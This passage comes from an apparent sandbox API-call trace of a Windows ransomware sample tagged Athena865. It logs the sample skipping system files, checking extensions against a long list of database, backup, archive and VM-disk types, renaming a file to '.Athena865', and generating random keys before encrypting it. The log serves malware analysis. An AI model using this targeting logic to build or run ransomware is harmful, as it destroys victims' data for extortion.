(lpString="dxl") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.630] lstrlenW (lpString="eco") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.630] lstrlenW (lpString="ecx") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.630] lstrlenW (lpString="edb") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.630] lstrlenW (lpString="epim") returned 4 [0128.630] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.630] lstrlenW (lpString="fcd") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.630] lstrlenW (lpString="fdb") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.630] lstrlenW (lpString="fic") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.630] lstrlenW (lpString="flexolibrary") returned 12 [0128.630] lstrlenW (lpString="fm5") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.630] lstrlenW (lpString="fmp") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.631] lstrlenW (lpString="fmp12") returned 5 [0128.631] lstrcmpiW (lpString1="5.WMF", lpString2="fmp12") returned -1 [0128.631] lstrlenW (lpString="fmpsl") returned 5 [0128.631] lstrcmpiW (lpString1="5.WMF", lpString2="fmpsl") returned -1 [0128.631] lstrlenW (lpString="fol") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.631] lstrlenW (lpString="fp3") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.631] lstrlenW (lpString="fp4") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.631] lstrlenW (lpString="fp5") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.631] lstrlenW (lpString="fp7") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.631] lstrlenW (lpString="fpt") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.631] lstrlenW (lpString="frm") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.631] lstrlenW (lpString="gdb") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.631] lstrlenW (lpString="gdb") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.631] lstrlenW (lpString="grdb") returned 4 [0128.631] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.631] lstrlenW (lpString="gwi") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.631] lstrlenW (lpString="hdb") returned 3 [0128.631] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.632] lstrlenW (lpString="his") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.632] lstrlenW (lpString="ib") returned 2 [0128.632] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.632] lstrlenW (lpString="idb") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.632] lstrlenW (lpString="ihx") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.632] lstrlenW (lpString="itdb") returned 4 [0128.632] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.632] lstrlenW (lpString="itw") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.632] lstrlenW (lpString="jet") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.632] lstrlenW (lpString="jtx") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.632] lstrlenW (lpString="kdb") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.632] lstrlenW (lpString="kexi") returned 4 [0128.632] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.632] lstrlenW (lpString="kexic") returned 5 [0128.632] lstrcmpiW (lpString1="5.WMF", lpString2="kexic") returned -1 [0128.632] lstrlenW (lpString="kexis") returned 5 [0128.632] lstrcmpiW (lpString1="5.WMF", lpString2="kexis") returned -1 [0128.632] lstrlenW (lpString="lgc") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.632] lstrlenW (lpString="lwx") returned 3 [0128.632] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.633] lstrlenW (lpString="maf") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.633] lstrlenW (lpString="maq") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.633] lstrlenW (lpString="mar") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.633] lstrlenW (lpString="marshal") returned 7 [0128.633] lstrcmpiW (lpString1="665.WMF", lpString2="marshal") returned -1 [0128.633] lstrlenW (lpString="mas") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.633] lstrlenW (lpString="mav") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.633] lstrlenW (lpString="maw") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.633] lstrlenW (lpString="mdbhtml") returned 7 [0128.633] lstrcmpiW (lpString1="665.WMF", lpString2="mdbhtml") returned -1 [0128.633] lstrlenW (lpString="mdn") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.633] lstrlenW (lpString="mdt") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.633] lstrlenW (lpString="mfd") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.633] lstrlenW (lpString="mpd") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.633] lstrlenW (lpString="mrg") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.633] lstrlenW (lpString="mud") returned 3 [0128.633] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.633] lstrlenW (lpString="mwb") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.634] lstrlenW (lpString="myd") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.634] lstrlenW (lpString="ndf") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.634] lstrlenW (lpString="nnt") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.634] lstrlenW (lpString="nrmlib") returned 6 [0128.634] lstrcmpiW (lpString1="65.WMF", lpString2="nrmlib") returned -1 [0128.634] lstrlenW (lpString="ns2") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.634] lstrlenW (lpString="ns3") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.634] lstrlenW (lpString="ns4") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.634] lstrlenW (lpString="nsf") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.634] lstrlenW (lpString="nv") returned 2 [0128.634] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.634] lstrlenW (lpString="nv2") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.634] lstrlenW (lpString="nwdb") returned 4 [0128.634] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.634] lstrlenW (lpString="nyf") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.634] lstrlenW (lpString="odb") returned 3 [0128.634] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.634] lstrlenW (lpString="odb") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.635] lstrlenW (lpString="oqy") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.635] lstrlenW (lpString="ora") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.635] lstrlenW (lpString="orx") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.635] lstrlenW (lpString="owc") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.635] lstrlenW (lpString="p96") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.635] lstrlenW (lpString="p97") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.635] lstrlenW (lpString="pan") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.635] lstrlenW (lpString="pdb") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.635] lstrlenW (lpString="pdm") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.635] lstrlenW (lpString="pnz") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.635] lstrlenW (lpString="qry") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.635] lstrlenW (lpString="qvd") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.635] lstrlenW (lpString="rbf") returned 3 [0128.635] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.635] lstrlenW (lpString="rctd") returned 4 [0128.636] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.636] lstrlenW (lpString="rod") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.636] lstrlenW (lpString="rodx") returned 4 [0128.636] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.636] lstrlenW (lpString="rpd") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.636] lstrlenW (lpString="rsd") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.636] lstrlenW (lpString="sas7bdat") returned 8 [0128.636] lstrcmpiW (lpString1="3665.WMF", lpString2="sas7bdat") returned -1 [0128.636] lstrlenW (lpString="sbf") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.636] lstrlenW (lpString="scx") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.636] lstrlenW (lpString="sdb") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.636] lstrlenW (lpString="sdc") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.636] lstrlenW (lpString="sdf") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.636] lstrlenW (lpString="sis") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.636] lstrlenW (lpString="spq") returned 3 [0128.636] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.636] lstrlenW (lpString="te") returned 2 [0128.636] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.636] lstrlenW (lpString="teacher") returned 7 [0128.637] lstrcmpiW (lpString1="665.WMF", lpString2="teacher") returned -1 [0128.637] lstrlenW (lpString="tmd") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.637] lstrlenW (lpString="tps") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.637] lstrlenW (lpString="trc") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.637] lstrlenW (lpString="trc") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.637] lstrlenW (lpString="trm") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.637] lstrlenW (lpString="udb") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.637] lstrlenW (lpString="udl") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.637] lstrlenW (lpString="usr") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.637] lstrlenW (lpString="v12") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.637] lstrlenW (lpString="vis") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.637] lstrlenW (lpString="vpd") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.637] lstrlenW (lpString="vvv") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.637] lstrlenW (lpString="wdb") returned 3 [0128.637] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.637] lstrlenW (lpString="wmdb") returned 4 [0128.638] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.638] lstrlenW (lpString="wrk") returned 3 [0128.638] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.638] lstrlenW (lpString="xdb") returned 3 [0128.638] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.638] lstrlenW (lpString="xld") returned 3 [0128.638] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.638] lstrlenW (lpString="xmlff") returned 5 [0128.638] lstrcmpiW (lpString1="5.WMF", lpString2="xmlff") returned -1 [0128.638] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.Athena865") returned 73 [0128.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.athena865"), dwFlags=0x1) returned 1 [0128.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.640] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12588) returned 1 [0128.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.641] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.641] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3430, lpName=0x0) returned 0x154 [0128.643] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3430) returned 0x100000 [0128.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.645] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.645] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.647] CloseHandle (hObject=0x154) returned 1 [0128.647] CloseHandle (hObject=0x17c) returned 1 [0128.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.647] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2=".") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="..") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="windows") returned -1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="bootmgr") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="temp") returned -1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="pagefile.sys") returned -1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="boot") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ids.txt") returned 1 [0128.647] lstrcmpiW (lpString1="J0233992.WMF", lpString2="ntuser.dat") returned -1 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2="perflogs") returned -1 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2="MSBuild") returned -1 [0128.648] lstrlenW (lpString="J0233992.WMF") returned 12 [0128.648] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0233992.WMF" | out: lpString1="J0233992.WMF") returned="J0233992.WMF" [0128.648] lstrlenW (lpString="J0233992.WMF") returned 12 [0128.648] lstrlenW (lpString="Athena865") returned 9 [0128.648] lstrcmpiW (lpString1="33992.WMF", lpString2="Athena865") returned -1 [0128.648] lstrlenW (lpString=".dll") returned 4 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2=".dll") returned 1 [0128.648] lstrlenW (lpString=".lnk") returned 4 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2=".lnk") returned 1 [0128.648] lstrlenW (lpString=".ini") returned 4 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2=".ini") returned 1 [0128.648] lstrlenW (lpString=".sys") returned 4 [0128.648] lstrcmpiW (lpString1="J0233992.WMF", lpString2=".sys") returned 1 [0128.648] lstrlenW (lpString="J0233992.WMF") returned 12 [0128.648] lstrlenW (lpString="bak") returned 3 [0128.648] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.648] lstrlenW (lpString="ba_") returned 3 [0128.648] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.648] lstrlenW (lpString="dbb") returned 3 [0128.648] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.648] lstrlenW (lpString="vmdk") returned 4 [0128.648] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.648] lstrlenW (lpString="rar") returned 3 [0128.648] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.648] lstrlenW (lpString="zip") returned 3 [0128.648] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.649] lstrlenW (lpString="tgz") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.649] lstrlenW (lpString="vbox") returned 4 [0128.649] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.649] lstrlenW (lpString="vdi") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.649] lstrlenW (lpString="vhd") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.649] lstrlenW (lpString="vhdx") returned 4 [0128.649] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.649] lstrlenW (lpString="avhd") returned 4 [0128.649] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.649] lstrlenW (lpString="db") returned 2 [0128.649] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.649] lstrlenW (lpString="db2") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.649] lstrlenW (lpString="db3") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.649] lstrlenW (lpString="dbf") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.649] lstrlenW (lpString="mdf") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.649] lstrlenW (lpString="mdb") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.649] lstrlenW (lpString="sql") returned 3 [0128.649] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.649] lstrlenW (lpString="sqlite") returned 6 [0128.649] lstrcmpiW (lpString1="92.WMF", lpString2="sqlite") returned -1 [0128.650] lstrlenW (lpString="sqlite3") returned 7 [0128.650] lstrcmpiW (lpString1="992.WMF", lpString2="sqlite3") returned -1 [0128.650] lstrlenW (lpString="sqlitedb") returned 8 [0128.650] lstrcmpiW (lpString1="3992.WMF", lpString2="sqlitedb") returned -1 [0128.650] lstrlenW (lpString="xml") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.650] lstrlenW (lpString="$er") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.650] lstrlenW (lpString="4dd") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.650] lstrlenW (lpString="4dl") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.650] lstrlenW (lpString="^^^") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.650] lstrlenW (lpString="abs") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.650] lstrlenW (lpString="abx") returned 3 [0128.650] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.650] lstrlenW (lpString="accdb") returned 5 [0128.650] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0128.650] lstrlenW (lpString="accdc") returned 5 [0128.650] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0128.650] lstrlenW (lpString="accde") returned 5 [0128.650] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0128.650] lstrlenW (lpString="accdr") returned 5 [0128.650] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0128.650] lstrlenW (lpString="accdt") returned 5 [0128.651] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0128.651] lstrlenW (lpString="accdw") returned 5 [0128.651] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0128.651] lstrlenW (lpString="accft") returned 5 [0128.651] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0128.651] lstrlenW (lpString="adb") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.651] lstrlenW (lpString="adb") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.651] lstrlenW (lpString="ade") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.651] lstrlenW (lpString="adf") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.651] lstrlenW (lpString="adn") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.651] lstrlenW (lpString="adp") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.651] lstrlenW (lpString="alf") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.651] lstrlenW (lpString="ask") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.651] lstrlenW (lpString="btr") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.651] lstrlenW (lpString="cat") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.651] lstrlenW (lpString="cdb") returned 3 [0128.651] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.651] lstrlenW (lpString="ckp") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.652] lstrlenW (lpString="cma") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.652] lstrlenW (lpString="cpd") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.652] lstrlenW (lpString="dacpac") returned 6 [0128.652] lstrcmpiW (lpString1="92.WMF", lpString2="dacpac") returned -1 [0128.652] lstrlenW (lpString="dad") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.652] lstrlenW (lpString="dadiagrams") returned 10 [0128.652] lstrcmpiW (lpString1="233992.WMF", lpString2="dadiagrams") returned -1 [0128.652] lstrlenW (lpString="daschema") returned 8 [0128.652] lstrcmpiW (lpString1="3992.WMF", lpString2="daschema") returned -1 [0128.652] lstrlenW (lpString="db-journal") returned 10 [0128.652] lstrcmpiW (lpString1="233992.WMF", lpString2="db-journal") returned -1 [0128.652] lstrlenW (lpString="db-shm") returned 6 [0128.652] lstrcmpiW (lpString1="92.WMF", lpString2="db-shm") returned -1 [0128.652] lstrlenW (lpString="db-wal") returned 6 [0128.652] lstrcmpiW (lpString1="92.WMF", lpString2="db-wal") returned -1 [0128.652] lstrlenW (lpString="dbc") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.652] lstrlenW (lpString="dbs") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.652] lstrlenW (lpString="dbt") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.652] lstrlenW (lpString="dbv") returned 3 [0128.652] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.653] lstrlenW (lpString="dbx") returned 3 [0128.653] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.653] lstrlenW (lpString="dcb") returned 3 [0128.653] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.653] lstrcmpiW 